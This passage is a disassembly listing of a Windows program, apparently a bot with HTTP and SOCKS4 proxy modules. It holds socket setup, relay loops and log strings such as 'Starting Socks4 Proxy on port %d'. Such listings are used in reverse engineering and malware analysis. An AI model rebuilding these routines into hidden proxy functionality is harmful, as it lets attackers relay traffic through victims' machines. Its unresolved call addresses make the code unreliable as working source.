loc_42A6F8:				; CODE XREF: ___:0042A5F3j
					; ___:0042A658j
		call	esi


loc_42A6FA:				; CODE XREF: ___:0042A596j
					; ___:0042A66Aj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		jmp	loc_42A514
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AC10	proc near		; CODE XREF: sub_4018EDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AC10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F15C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AC10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AC80	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AC80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_42ACA3:				; CODE XREF: sub_42AC80+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42ACCA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_42ACA3


loc_42ACCA:				; CODE XREF: sub_42AC80+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42AD9C
		push	ebp
		push	esi


loc_42ACE0:				; CODE XREF: sub_42AC80+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42AD7B
		test	ebp, ebp
		jz	short loc_42AD7B
		push	0C3h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_42AD26
		mov	ecx, eax
		call	sub_401893
		mov	esi, eax
		jmp	short loc_42AD28
; ---------------------------------------------------------------------------


loc_42AD26:				; CODE XREF: sub_42AC80+99j
		xor	esi, esi


loc_42AD28:				; CODE XREF: sub_42AC80+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FDC
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013DE
		jmp	short loc_42AD86
; ---------------------------------------------------------------------------


loc_42AD7B:				; CODE XREF: sub_42AC80+74j
					; sub_42AC80+7Cj
		push	0FAh
		nop
		call	near ptr 2830000h


loc_42AD86:				; CODE XREF: sub_42AC80+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_42ACE0
		pop	esi
		pop	ebp


loc_42AD9C:				; CODE XREF: sub_42AC80+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42ADAE
		push	edi
		call	near ptr 71AB9639h
		nop


loc_42ADAE:				; CODE XREF: sub_42AC80+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AC80	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AE10	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_42AE38
		call	sub_4017EE
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_42AE43
; ---------------------------------------------------------------------------


loc_42AE38:				; CODE XREF: sub_42AE10+19j
		call	sub_4017EE
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_42AE43:				; CODE XREF: sub_42AE10+26j
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AE10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AEE0	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_42AEF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AEF8:				; CODE XREF: sub_42AEE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42AEE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF10	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AF2E
		push	eax
		call	edi


loc_42AF2E:				; CODE XREF: sub_42AF10+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AF3C
		push	eax
		call	edi


loc_42AF3C:				; CODE XREF: sub_42AF10+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_42AF10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AF80:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402126
		test	byte ptr [esp+8], 1
		jz	short loc_42AF98
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42AF98:				; CODE XREF: ___:0042AF8Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFB0	proc near		; CODE XREF: sub_402126j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43F15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42AFCB
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42AFCB:				; CODE XREF: sub_42AFB0+12j
		mov	ecx, esi
		call	sub_4017A8
		pop	esi
		retn
sub_42AFB0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AFF0	proc near		; CODE XREF: sub_40213Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42AFF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F16C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42AFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:0040187Fj
					; ___:loc_401B18j
		push	esi
		mov	esi, ecx
		call	sub_401FA5
		test	byte ptr [esp+8], 1
		jz	short loc_42B078
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B078:				; CODE XREF: ___:0042B06Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B090	proc near		; CODE XREF: sub_401FA5j
		jmp	sub_4017A8
sub_42B090	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0B0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_511CA4
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jge	short loc_42B0F1
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B0F1:				; CODE XREF: sub_42B0B0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_42B2DC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jge	short loc_42B12E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B0B0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_42B2DC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_42B1C9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_42B1C9:				; CODE XREF: sub_42B0B0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_511CAC
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi


loc_42B226:				; CODE XREF: sub_42B0B0+1AFj
					; sub_42B0B0+1FEj ...
		mov	edi, dword_511CA4
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi
		mov	esi, eax
		test	esi, esi
		jz	loc_42B2CA
		jge	short loc_42B261
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B261
		push	0Ah
		nop
		call	near ptr 2830000h
		jmp	short loc_42B226
; ---------------------------------------------------------------------------


loc_42B261:				; CODE XREF: sub_42B0B0+198j
					; sub_42B0B0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B2CA
		jge	short loc_42B2B3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_42B2B3
		push	0Ah
		nop
		call	near ptr 2830000h
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2B3:				; CODE XREF: sub_42B0B0+1E7j
					; sub_42B0B0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_42B226
; ---------------------------------------------------------------------------


loc_42B2CA:				; CODE XREF: sub_42B0B0+192j
					; sub_42B0B0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_511C9C
		push	eax
		call	esi
		push	ebx
		call	esi


loc_42B2DC:				; CODE XREF: sub_42B0B0+46j
					; sub_42B0B0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_42B0B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B380	proc near		; CODE XREF: sub_40218Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B380
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F17C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401032j sub_4017B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C4E
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_401C4Ej
		jmp	sub_4017A8
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40189Dj

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B440
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017EE
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42B649
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B516
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B516:				; CODE XREF: sub_42B440+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B600


loc_42B52C:				; CODE XREF: sub_42B440+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B550
		push	0FAh
		nop
		call	near ptr 2830000h
		jmp	loc_42B5EC
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: sub_42B440+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42B600
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42B600
		push	0A5h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B59E
		mov	ecx, eax
		call	sub_40213A
		mov	edi, eax


loc_42B59E:				; CODE XREF: sub_42B440+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42B5EC:				; CODE XREF: sub_42B440+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B52C


loc_42B600:				; CODE XREF: sub_42B440+E6j
					; sub_42B440+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42B614
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B614:				; CODE XREF: sub_42B440+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017EE
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_42B649:				; CODE XREF: sub_42B440+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B440	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6F0	proc near		; CODE XREF: sub_401758j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42B711
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42B711:				; CODE XREF: sub_42B6F0+Dj
		xor	al, al
		retn	8
sub_42B6F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B730	proc near		; CODE XREF: sub_4020E0j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42B751:				; CODE XREF: sub_42B730+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B76A:				; CODE XREF: sub_42B730+45j
		cmp	[ecx], ebx
		jz	short loc_42B777
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B76A


loc_42B777:				; CODE XREF: sub_42B730+3Cj
		cmp	eax, 1
		jnz	short loc_42B788
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42B788:				; CODE XREF: sub_42B730+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jbe	short loc_42B813
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B813
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42B7BC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42B7BE
; ---------------------------------------------------------------------------


loc_42B7BC:				; CODE XREF: sub_42B730+84j
		mov	eax, ebx


loc_42B7BE:				; CODE XREF: sub_42B730+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42B862
		test	edi, edi
		jz	short loc_42B862
		jbe	short loc_42B80C


loc_42B7EB:				; CODE XREF: sub_42B730+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B862
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42B7EB


loc_42B80C:				; CODE XREF: sub_42B730+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42B813:				; CODE XREF: sub_42B730+70j
					; sub_42B730+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42B825:				; CODE XREF: sub_42B730+100j
		cmp	[ecx], ebx
		jz	short loc_42B832
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42B825


loc_42B832:				; CODE XREF: sub_42B730+F7j
		cmp	eax, 1
		jnz	short loc_42B844
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42B844:				; CODE XREF: sub_42B730+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42B751


loc_42B862:				; CODE XREF: sub_42B730+B3j
					; sub_42B730+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42B730	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8E0	proc near		; CODE XREF: sub_401C30j

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
